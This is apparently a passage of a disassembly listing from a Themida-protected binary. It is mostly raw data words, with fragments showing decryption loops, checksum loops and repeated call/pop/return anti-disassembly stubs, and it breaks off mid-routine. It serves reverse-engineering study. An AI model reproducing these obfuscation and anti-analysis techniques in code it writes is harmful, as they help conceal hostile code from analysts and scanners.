		dd 7D11715h, 0BE850F01h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 191C350h
		dd 8B2E75D9h, 0D8F9EEADh, 8E8h,	9F51B00h, 0A22EDA90h, 9E9D2h
		dd 3F190000h, 8C0FE0BDh, 5F45D931h, 6A026Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 579E12C3h
		dd 9E1C7181h, 0DF8B6639h, 0E9506090h, 8, 0A73228C9h, 9A254204h
		dd 48E0F58h, 66000000h,	617D4EB9h, 9054B350h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 25C35040h, 5968A5A6h
		dd 9F32B04Ch, 0C8DBD03h, 95FF07D1h, 7D11DE9h, 4DCAB6BFh
		dd 0CC6E900h, 0E80000h,	5D000000h, 0EDCDED81h, 6A07D5h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BD981C3h, 0D110C5BDh, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0E99D2B78h
		dd 8D07D133h, 0D4BC7785h, 0FDBD8B07h, 9007D11Ah, 50525250h
		dd 5A310F52h, 310F5F58h, 7676BB66h, 8B50585Ah, 64F990DAh
		dd 35FFh, 9D8B0000h, 7D10871h, 258964h,	6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 9EAFC352h, 292185FFh, 0C78107D1h, 3615DDFBh,	9AF38166h
		dd 89FF6A07h, 0D11CB585h, 65B5FF07h, 6A07D11Fh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0CD9AC352h, 0C9206153h, 65BD895Fh, 0FF07D11Eh, 0D1141D95h
		dd 135E907h, 0B00000h, 5E9h, 0C33BCE00h, 70E65302h, 6071E4F9h
		dd 43DDC181h, 7DBE3B10h, 617C314Eh, 830F613Ch, 10Fh, 22B58D29h
		dd 0B60F07D1h, 6800FC8h, 29000000h, 0D123318Dh,	6BA07h
		dd 0BD8B0000h, 7D13441h, 0E8C1C18Bh, 0DBA6004h,	89441D8Dh
		dd 0D1177D85h, 0F7666107h, 0C82BF5E2h, 0BD89F860h, 7D1286Dh
		dd 8800F61h, 60000000h,	850Fh, 8B610000h, 0B1BD8BD1h, 0E907D118h
		dd 7, 18C0Fh, 8BF50000h, 0D1184985h, 8E907h, 16180000h
		dd 0A83F9EEAh, 0C083D9AAh, 835EB307h, 858900C0h, 7D110E9h
		dd 830FD03Bh, 1Bh, 58E0Fh, 66520000h, 0E95BF98Bh, 73h
		dd 6E9h, 0C0FCAD00h, 8B53A458h,	0D101918Dh, 12E807h, 24330000h
		dd 137D73DDh, 566DF238h, 34F951Ch, 762ABC28h, 1475BD8Bh
		dd 835B07D1h, 840F01E1h, 3Bh, 2D19BD23h, 0A58307D1h, 7D10191h
		dd 9D8B60FEh, 7D12E11h,	5E9858Bh, 0B36107D1h, 4995899Ch
		dd 5307D118h, 0CE9h, 0FE2D4D00h, 259B1523h, 0F2E2D1D9h
		dd 0E95BBFh, 8D000000h,	0D552A9B5h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0D763796Ah
		dd 60AE77BAh, 2800Fh, 27B10000h, 89006A61h, 0D12E3D85h
		dd 5595FF07h, 6A07D100h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 340FC356h, 0E9867927h
		dd 0Ah,	2D3F8968h, 7580E0E8h, 0DA8B829Fh, 837B9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 854C9C5Eh, 0B72E9899h, 0CADF8153h, 8303908Ah, 0BD2BFCE1h
		dd 7D121C9h, 56006AFCh,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0F529C55Dh, 9D8B91CFh, 7D11BA5h
		dd 6AC02Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D896BC3h, 7D11F89h, 0ADFCD22Bh, 0E8D1C233h
		dd 0E983D003h, 0E9F47504h, 10h,	0ECB6405Ch, 9B520805h
		dd 0E7F0D6A8h, 1FFC527Bh, 0D13E780h, 88h, 0CE8h, 0CD1DC000h
		dd 0AF92EF8Ch, 0D7A9D423h, 5FD88BB0h, 899D8B52h, 5B07D11Bh
		dd 1B51958Bh, 8D8B07D1h, 7D12D55h, 17E59D8Bh, 8B5007D1h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 73C35242h, 0F9510B3h
		dd 0BD09DEB7h, 7D12729h, 1BC5BD83h, 0F0007D1h, 2784h, 0E9950900h
		dd 0B807D12Ch, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7D11101h]
		lea	ecx, [ebp+7D14D0Ah]
		mov	bl, 0E5h
		mov	[ebp+7D122E1h],	esi
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	[ebp+7D11769h],	eax
		cmp	dword ptr [ebp+7D11D39h], 0
		jz	loc_5D5BDD
		push	0
		push	esi
		call	sub_5D5808
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5808	proc near		; CODE XREF: Themida_:005D5800p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5D5808	endp

; ---------------------------------------------------------------------------
		dec	esi
		xor	di, 0D0C0h
		cmp	dword ptr [ebp+7D11D39h], 1
		jz	loc_5D5BF8
		push	edx
		adc	ebx, 20954BFBh
		pop	edi
		cmp	dword ptr [ebp+7D11D39h], 3
		jbe	loc_5D5BC2
		pusha
		mov	si, dx
		mov	[ebp+7D12B91h],	edx
		popa
		mov	[ebp+7D11C41h],	edx
		pusha
		jmp	loc_5D586A
; ---------------------------------------------------------------------------
		db 25h
		dd 3912DE8Eh, 2B7DFB62h, 0D20F0671h, 467C0C16h
		db 4Bh,	1Dh
; ---------------------------------------------------------------------------


loc_5D586A:				; CODE XREF: Themida_:005D5852j
		mov	cx, ds
		push	0
		push	ebp
		call	sub_5D5878
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5878	proc near		; CODE XREF: Themida_:005D5870p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5D5878	endp

; ---------------------------------------------------------------------------
		dd 7EA415E2h, 0AE007C86h, 11E95Fh, 510E0000h, 0AC3BB11Fh
		dd 9A78AAB1h, 31B470EFh, 80D42C71h, 0B58904E1h,	7D10749h
		dd 840FC90Ah, 113h, 858BBAB7h, 7D128F5h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 35C35040h, 820F2BACh
		dd 2, 85330CB3h, 7D131CDh, 0AE8h, 493E1900h, 64E5D2CCh
		dd 294910B7h, 0D1196D85h, 61605F07h, 29BF6650h,	2404898Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0C1C35545h
		dd 7E987h, 97ED0000h, 5335B7EFh, 6A006A29h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B28C353h
		dd 689B7106h, 906C6FA1h, 0BBC1B560h, 602A9BE3h,	24048161h
		dd 6FB2945Eh, 0A5BD8B57h, 5B07D11Ah, 2B1595FFh,	9D8907D1h
		dd 7D11FADh, 8589D98Bh,	7D4EA5Ah, 14E8h, 5FFFE500h, 15EFA5B7h
		dd 7254988Fh, 0C75DD342h, 49984A8Ah, 0B5858916h, 5B07D11Fh
		dd 1C8E9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8BE3CBCDh, 0D4EA5285h, 0C7A7B707h
		dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 76969EC3h, 96E68FC3h, 0B58B5B0Eh
		dd 7D4EA56h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	31C35040h, 8BDAFD86h, 0D10C9D85h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 8C0F6B5Dh, 13h, 0EE9h, 0A6122D00h, 0DC176B94h, 995610DEh
		dd 8B93010Bh, 0D11FE9BDh, 6A068907h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 9FF7C356h
		dd 0D8D60014h, 8B0F601Dh, 5, 8F88B6BAh,	4D8D311Bh, 6107D133h
		dd 28F5858Bh, 0DEB707D1h, 96044689h, 8BDF8B60h,	0F5061C2h
		dd 582h, 0CE7ABF00h, 0F59650AAh, 0EA52B5FFh, 4E807D4h
		dd 0FF000000h, 8B001F03h, 8B6650D8h, 24448BDFh,	52BF6604h
		dd 0E9008B06h, 6, 0D36EE57Ch, 4489DB29h, 52500424h, 14E8h
		dd 9025C000h, 0C7BB1366h, 0B0E3CEC8h, 6655D5A3h, 0B074D98Eh
		dd 0D559BFAAh, 0F5B2E08h, 58585A31h, 1A159D8Bh,	858D07D1h
		dd 7D4EA5Ah, 198D0Fh, 14E90000h, 0C000000h, 9261D547h
		dd 0CF55401h, 307D3EE5h, 2A0FEE0Bh, 501BE467h, 0EBB5250h
		dd 0F29F72Ah, 89585A31h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 955E39C3h, 59BD09h, 95FF07D1h
		dd 7D12B15h, 8B5661F9h,	85C75FDFh, 7D11D39h, 3,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 60C35747h, 0AF3642A7h
		dd 0CA3B6787h, 167D9D89h, 0BD8307D1h, 7D4EA5Ah,	7840F00h
		dd 8B000000h, 1BE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5BC2:				; CODE XREF: Themida_:005D583Aj
					; Themida_:005D5BD9j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D5BC2
		jmp	short loc_5D5C13
; ---------------------------------------------------------------------------


loc_5D5BDD:				; CODE XREF: Themida_:005D57F7j
					; Themida_:005D5BF4j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D5BDD
		jmp	short loc_5D5C13
; ---------------------------------------------------------------------------


loc_5D5BF8:				; CODE XREF: Themida_:005D5825j
					; Themida_:005D5C0Fj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D5BF8
		jmp	short $+2


loc_5D5C13:				; CODE XREF: Themida_:005D5BDBj
					; Themida_:005D5BF6j
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5D5C20
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5C20	proc near		; CODE XREF: Themida_:005D5C18p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5D5C20	endp

; ---------------------------------------------------------------------------
		dd 0BACC11A4h, 23F24F9Eh, 0D113599Dh, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 2FB26A7Bh, 0F381E7B7h, 5B3A5D97h, 1D39BD83h,	0F0307D1h
		dd 44985h, 0CAE38100h, 835F3E6Ch, 0D4EA5ABDh, 840F0007h
		dd 436h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 14h,	3DC35545h, 68A0Fh, 9D8B0000h, 7D1161Dh,	0AE9h
		dd 0DCCA9800h, 529E2703h, 0FFB03D41h, 0D4EA5AB5h, 0FBBF0F07h
		dd 2EB195FFh, 0BB6607D1h, 0B58B28A4h, 7D4EA4Eh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 49C35545h, 9D8BBF96h
		dd 7D11951h, 0EE9h, 0B3940E00h,	0E660C7E3h, 63DA751h, 0C7E92E43h
		dd 1000106h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0F5B53101h, 9607D10Fh, 75A646BFh
		dd 50605061h, 60310F52h, 61585A61h, 57006A96h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0EBA633F7h
		dd 0FF416DBFh, 0D4EA5AB5h, 0F19D8B07h, 6007D12Bh, 13E9h
		dd 5B445D00h, 0BDD0718Dh, 0C9000D9Bh, 3F85827Fh, 9F86B349h
		dd 0FF619DB6h, 0D131A595h, 0B99D8B07h, 8B07D11Bh, 0D4EA4EB5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0DE46E9DAh, 0B5092CDAh, 7D12E49h, 2B31858Bh
		dd 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0B58938C3h, 7D1291Dh, 0C48689h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0E8465BC3h, 0C5FEF7B3h, 8B26678Ch, 0D11F6DBDh, 51958B07h
		dd 0E907D11Bh, 10h, 5773CF67h, 69634BBCh, 0FE41F5E3h, 86D014EFh
		dd 8B04C283h, 205089D8h, 3331BD8Bh, 858D07D1h, 7D4FEE5h
		dd 2BE1BD8Bh, 868907D1h, 0B8h, 2C499D8Bh, 6A07D1h, 0FFD7F380h
		dd 0D4EA5AB5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0E40FC85Eh, 6143EF03h
		dd 0E995FF70h, 0E907D11Dh, 0Fh,	2C1F16B7h, 0AC22A18Ah
		dd 5287B46Eh, 96C88D90h, 9E86050h, 0D7000000h, 0CF65A665h
		dd 5860B981h, 665AF08Bh, 9661F28Bh, 6E8h, 6A2D2100h, 0E8FADAF4h
		dd 12h,	0D17D79BCh, 58F73D5Eh, 0C604EB55h, 0C9864532h
		dd 0CF80B535h, 0FF5B5B78h, 0D4EA5AB5h, 95FFF507h, 7D12D9Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F2C35141h
		dd 0FC57B3C8h, 893AF5D2h, 0D11FDD8Dh, 9BD8307h,	7D128h
		dd 4E840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 0A42A7AC3h, 499D89A5h, 9607D12Ch
		dd 8B96660h, 6244BBFFh,	5061370Ah, 0DE8h, 0B4D13300h, 3BC974A0h
		dd 0BD67A944h, 8B66E018h, 0BF965FDAh, 1B06C012h, 0EA5AB5FFh
		dd 6A07D4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 815A98C3h, 715AD2D3h, 3870F76h, 66000000h
		dd 95FFDF8Bh, 7D132B5h,	0B0BCB80h, 0D12821BDh, 5AB5FF07h
		dd 8B07D4EAh, 0D129E19Dh, 995FF07h, 6A07D127h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 34EEC353h, 0A2986D74h, 0E8D1A80Ch, 0Bh, 0DD60E45Eh
		dd 26A0F657h, 89B464C4h, 0D130B995h, 0BD835F07h, 7D10FC1h
		dd 5A840F02h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 1A2CC350h, 0DF8BD47Ch
		dd 2DCD9501h, 0BF0F07D1h, 25858BF9h, 6A07D11Eh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0BC75C350h, 1EADBB61h, 8B0000C6h, 0E8BB66DEh, 0CD85C7C4h
		dd 7D122h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0BCAEC351h, 0DE78166h,	13880FDBh
		dd 0E9000000h, 0Eh, 0F544374Fh,	2A17197Ch, 7AA7485Fh, 0BB662440h
		dd 0FEE9DD09h, 0BFFFFFF3h, 466BD773h, 9D89C18Bh, 7D13119h
		dd 1361858Dh, 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0FCC8E5C3h, 7354D72Dh, 34118D89h
		dd 0BB6607D1h, 50904515h, 0F03B752h, 91BF6631h,	50585AA7h
		dd 0A4BF5250h, 0F0400F0h, 0E8525031h, 0Dh, 4690456Ch, 66D65607h
		dd 41217D89h, 310F5B72h, 0CE8h,	0F6B1A000h, 2131840Ah
		dd 0F4825CADh, 585A5F32h, 0F90585Ah, 8Dh, 0E9BD8B00h, 6A07D11Ch
		dd 0CE900h, 0B0CC0000h,	207BCDB2h, 909CE2E3h, 0C9BBB897h
		dd 6A7BE623h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 858D9302h, 7D5FCFFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0CCC35040h, 5C08372h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 51C35343h
		dd 5ACEF06h, 89769CC8h,	0D12DB98Dh, 0AE907h, 2FF40000h
		dd 863B23E4h, 5F6EB957h, 50525050h, 11E852h, 0EC2E0000h
		dd 7F36129Dh, 0FC6C31E9h, 6757D411h, 5F48EC4Bh,	0D88B310Fh
		dd 310F585Ah, 7E960h, 0CFE80000h, 0B20379CAh, 860F2Eh
		dd 61000000h, 489585Ah,	9D2B6024h, 7D10F21h, 61AAC380h
		dd 0B589006Ah, 7D13069h, 9D89006Ah, 7D12771h, 1DE195FFh
		dd 6A07D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 64FBCBC3h, 33F2AE7Dh, 0D9B70FB3h,	9E9EBB66h
		dd 0D5668D8Dh, 6A07D4h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 4945B7C3h, 99E6D8B9h, 0B3D1FFBBh
		dd 0D8B70FA7h, 1715BD83h, 0F0107D1h, 9485h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 4E03F535h, 0D707FD75h, 2A99BD8Bh, 665607D1h,	6A5BFA8Bh
		dd 55006A02h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 698791BFh, 2BFDBD89h, 605107D1h,	1F59D8Bh
		dd 5F6107D1h, 12E850h, 907B0000h, 0BD48D5FCh, 0B0301CC3h
		dd 0C79F6096h, 3B922FCh, 895BFA8Ah, 0BD892404h,	7D10219h
		dd 1C19D33h, 95FF07D1h,	7D11DE9h, 3E78166h, 0CC2E97Dh
		dd 0E80000h, 5D000000h,	0FD09ED81h, 6A07D5h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0FC50B3C3h
		dd 0E9709E15h, 0Eh, 0E68593A2h,	4E8E15ECh, 9E93CD5Ah, 858DB7E6h
		dd 7D4BC77h, 0C6BB6650h, 24048916h, 0B07AE781h,	0FF643147h
		dd 35h,	51006A00h, 3E8h, 0C3592000h, 244C8959h,	24448104h
		dd 1B04h, 0C3514100h, 0D4011236h, 4E8F9BC7h, 2299589h
		dd 896407D1h, 25h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0F44C267h, 68Ch, 919D8B00h
		dd 0FF07D120h, 0D1292185h, 0A99D8B07h, 6A07D11Ch, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 7A3ACEE1h, 0A10FAB65h, 0B5FF436Dh, 7D1306Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 37C35141h
		dd 8E960h, 4D2F0000h, 43376465h, 95FF8369h, 7D1141Dh, 14BE9h
		dd 7FBB5300h, 5F7BE715h, 0F98B00B0h, 0FE870E6h,	75000000h
		dd 13E63261h, 0D449963Bh, 564D06CFh, 0EF8058BCh, 71E45F2Fh
		dd 898D89h, 613C07D1h, 116830Fh, 5E90000h, 4C000000h, 39CC9EF9h
		dd 0B60F56B7h, 0DF8166C8h, 6BAA955h, 1000000h, 0D126FDB5h
		dd 0DEB70F07h, 0BD0BC18Bh, 7D128A9h, 0F04E8C1h,	0F766DBBFh
		dd 498589E2h, 2B07D114h, 0B99D8BC8h, 8B07D107h,	71BD89D1h
		dd 0E907D11Fh, 0C8h, 9284D781h,	8D0F0492h, 6, 27559D8Bh
		dd 858B07D1h, 8, 2EE5D1BFh, 7C08316h, 0FE9h, 0C9678500h
		dd 92FC9744h, 7BBD70EEh, 596E0BB0h, 0E900C083h,	0Ah, 0CB67D726h
		dd 37B2C23Dh, 8589D0D1h, 7D10CB9h, 830FD03Bh, 13h, 1FA58D29h
		dd 69E907D1h, 31000000h, 0D1142D85h, 8B5F5107h,	0FFFFFF8Dh
		dd 666060FFh, 8B61C78Bh, 0E18361CBh, 49840F01h,	81000000h
		dd 26F932D7h, 0FFA5833Ch, 0FEFFFFFFh, 14E9h, 3DE28A00h
		dd 6B811153h, 0E1EE0562h, 0E93EB987h, 0E7FABF82h, 41BD0965h
		dd 8907D124h, 895h, 0A9B58900h,	0F07D12Bh, 687h, 0DDBD8900h
		dd 0E907D10Eh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7D571CDh]
		and	ebx, 346C44C0h
		push	0
		mov	[ebp+7D13241h],	edx
		call	dword ptr [ebp+7D10055h]
		push	0
		push	eax
		call	sub_5D65D5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D65D5	proc near		; CODE XREF: Themida_:005D65CDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5D65D5	endp

; ---------------------------------------------------------------------------
		lodsb
		dec	ebp
		xchg	eax, esp
		enter	0FFFFF215h, 0C8h
		mov	bl, 57h
		cld
		push	ecx
		pop	edi
		cld
		mov	ecx, 0FB4h
		or	ebx, [ebp+7D13431h]
		jmp	loc_5D6614
; ---------------------------------------------------------------------------
		dw 0B46Ah
		dd 3B69CB23h, 733714A4h, 6051E9DFh, 460F580h
; ---------------------------------------------------------------------------


loc_5D6614:				; CODE XREF: Themida_:005D65FDj
		and	ecx, 0FFFFFFFCh
		jnz	loc_5D6631
		jmp	loc_5D6631
; ---------------------------------------------------------------------------
		dw 46B7h
		dd 7BB25E8Ch, 0CE7D447Fh, 89B4887Eh
		db 83h
; ---------------------------------------------------------------------------


loc_5D6631:				; CODE XREF: Themida_:005D6617j
					; Themida_:005D661Dj
		mov	bl, dl
		cld
		or	di, 0E297h
		mov	eax, 0
		push	0
		push	esi
		call	sub_5D6649
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6649	proc near		; CODE XREF: Themida_:005D6641p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5D6649	endp

; ---------------------------------------------------------------------------
		dec	edi
		pop	edi
		xchg	edx, [edi-77h]
		mov	ebp, 7D13165h
		pusha
		mov	[ebp+7D12475h],	edi
		call	sub_5D667F
		fbstp	tbyte ptr [ecx-1BD40505h]
		lahf
		cmp	eax, edx
		shl	ah, 1
		mov	ds:7AAA2B60h, al

; =============== S U B	R O U T	I N E =======================================



sub_5D667F	proc near		; CODE XREF: Themida_:005D666Ap
					; Themida_:005D66B8j
		mov	ecx, [ebp+7D126B5h]
		pop	edx
		popa
		sub	edx, edx
		mov	ebx, 46B06FBDh


loc_5D668E:				; CODE XREF: sub_5D667F+19j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D668E
		push	0
		push	ebp
		call	sub_5D66A5
		and	[ebp-3Dh], bl
sub_5D667F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D66A5	proc near		; CODE XREF: sub_5D667F+1Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5D66A5	endp

; ---------------------------------------------------------------------------
		db 24h,	0A1h, 0F4h
; ---------------------------------------------------------------------------
		jmp	short sub_5D667F
; ---------------------------------------------------------------------------
		xlat
		mov	esp, 0E9B531CBh
		sbb	ecx, edx
		pop	es
		jns	loc_5D66CB
		mov	bl, 45h


loc_5D66CB:				; CODE XREF: Themida_:005D66C3j
		mov	edi, 27B99113h
		or	eax, 88h
		movsx	edi, bx
		mov	edx, [ebp+7D11B51h]
		push	0
		push	eax
		call	sub_5D66E9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D66E9	proc near		; CODE XREF: Themida_:005D66E1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D66E9	endp

; ---------------------------------------------------------------------------
		db 73h,	0CFh, 0AFh
; ---------------------------------------------------------------------------
		push	es
		sub	eax, 8913CA89h
		mov	ch, 0EDh
		and	eax, 8BF507D1h
		lea	edx, [ebp+2Dh]
		rol	dword ptr [edi], 1
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		jmp	loc_5D6736
; ---------------------------------------------------------------------------
		db 95h,	3Fh, 59h
		dd 0EB96DDD9h, 6EF41E8Fh, 91062B2Ch
		db 0E8h, 54h
; ---------------------------------------------------------------------------


loc_5D6736:				; CODE XREF: Themida_:005D6720j
		call	near ptr loc_5D6742+2
		inc	ebp
		clc
		jno	short loc_5D6794
		fidiv	dword ptr [ecx+7]


loc_5D6742:				; CODE XREF: Themida_:loc_5D6736p
		fist	dword ptr [edi+66h]
		xor	ebx, 835B3100h
		mov	ebp, 7D11BC5h
		add	[edi], cl
		test	[eax+eax+0], ah
		add	[ecx], ch
		mov	ebp, 7D125A5h
		mov	eax, 0
		push	0
		push	eax
		call	sub_5D676D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D676D	proc near		; CODE XREF: Themida_:005D6765p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5D676D	endp

; ---------------------------------------------------------------------------
		db 7Ah,	0Ah, 70h
; ---------------------------------------------------------------------------
		fld	dword ptr [eax-72726B39h]
		or	cl, [ebp-2Fh]
		pop	es
		mov	ebx, [ebp+7D12039h]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0


loc_5D6794:				; CODE XREF: Themida_:005D673Dj
		push	edi
		call	sub_5D679D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D679D	proc near		; CODE XREF: Themida_:005D6795p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5D679D	endp

; ---------------------------------------------------------------------------
		sal	byte ptr [ebx-0Ah], 94h
		pusha
		adc	ah, 8Ah
		and	cx, 0D35Ch
		popa
		cmp	dword ptr [ebp+7D11D39h], 0
		jz	loc_5D6BC5
		push	0
		push	ecx
		call	sub_5D67D3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D67D3	proc near		; CODE XREF: Themida_:005D67CBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5D67D3	endp

; ---------------------------------------------------------------------------
		and	dh, bh
		ja	short locret_5D684C
		push	es
		sub	[ebp+7D107C9h],	ecx
		cmp	dword ptr [ebp+7D11D39h], 1
		jz	loc_5D6BE0
		movsx	edi, cx
		cmp	dword ptr [ebp+7D11D39h], 3
		jbe	loc_5D6BAA
		push	0
		push	esi
		call	sub_5D6816
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6816	proc near		; CODE XREF: Themida_:005D680Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5D6816	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		retf
; ---------------------------------------------------------------------------
		stc
		mov	ebx, ecx
		pusha
		movzx	edi, ax
		mov	cx, ds
		push	0
		push	edx
		call	sub_5D683D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D683D	proc near		; CODE XREF: Themida_:005D6835p

arg_4		= dword	ptr  8

